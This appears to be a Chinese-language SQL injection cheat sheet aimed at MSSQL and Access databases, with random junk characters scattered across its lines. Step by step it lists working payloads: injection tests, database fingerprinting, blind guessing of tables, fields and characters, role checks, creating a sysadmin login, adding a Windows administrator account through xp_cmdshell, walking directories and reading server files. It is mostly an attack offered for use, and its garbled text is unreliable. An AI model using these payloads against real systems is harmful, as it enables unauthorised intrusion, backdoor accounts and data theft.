1.判断是否有注入;and 1=1 ;and 1=2 Sw~jyUEr
2.初步判断是否是mssql ;and user>0 Q:$<`K4)
!gv/ jdF
3.注入参数是字符'and [查询条件] and ''=' F8S -H"
8:c[_3w
4.搜索时没过滤参数的'and [查询条件] and '%25'=' f]H[uzsV
bY:A7.p7#
5.判断数据库系统 nff&~lwhZ
h32QEz-+
;and (select count(*) from sysobjects)>0 mssql dM"Suw
4bD^Kc4\
;and (select count(*) from msysobjects)>0 access xwG=&+66
1euL+zeh
qh;ahX~
h?[3{Z ^
6.猜数据库 ;and (select Count(*) from [数据库名])>0 5tI4m#y2
VA*~RS
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 D. !m*oq
NqcmjHvy
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 is K~=
nsWenf
9.(1)猜字段的ascii值(access) `HXP*Bp#
~[bS+]d!
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 490gW? u
CYA#:
(2)猜字段的ascii值(mssql) L<bZVocOb_
/Y:1zLs%
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 pfS?:f<+6"
^LgaMmz
10.测试权限结构(mssql) p#HbN#^Hy
y\ L$8BSL
`WvNN>R
F;p>bw
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- #@xSR:m
J9J[.6k8
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- *gRg--PY%
9 ![oJ3
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- gAt[kW< n
Ek\fx*Lz
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- .U|e#t
b'Cy!d r
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- OU+oS,
QA_SS'*
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ;!U`GN,tH
fRKO> /OT
;and 1=(select IS_MEMBER('db_owner'));-- MI o5Y`T
W70J2
gbNPD*7g9
(XYYbP
11.添加mssql和系统的帐户 .-[uQtyWW
Pe@M_ r
;exec master.dbo.sp_addlogin username;-- OoOKr
;exec master.dbo.sp_password null,username,password;-- A-gNfXP,D
Ep-{Ew{T_=
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- w$ Lpuun{
z#*M}RR
;exec master.dbo.xp_cmdshell 'net user username password F,{M!dL
SrzlR)
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- <]I[|4J 7
pQr `$:ga
;exec master.dbo.xp_cmdshell 'net user username password /add';-- hY=#_r8
V#jFjObTN
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ~?&;nTwHe
hPtSY'_@_
CpHF3o`Z6
h-`Jd>u"
12.(1)遍历目录 1GB$;0 W),
^S!^$d*
;create table dirs(paths varchar(100), id int) y05(/NH>
+P,hT
;insert dirs exec master.dbo.xp_dirtree 'c:\' tj 6 #lM9
lVY`^pw?
;and (select top 1 paths from dirs)>0 5`,qKJ
K~**. NF-n
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) RE/'E?G
,^,KWi9
,aS6|~ac4
VD+TJ` r
(2)遍历目录 J =o,: 3"
Ho[Kxe[c
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- SPKGbp&
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 {IEc{y7?gO
[?uiM^&
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 v>zeK
HHu|X`tc
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 #
JHicx\8l
0-#SvTf>;:
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 vum6O3
H%NP4pK
$I&DAG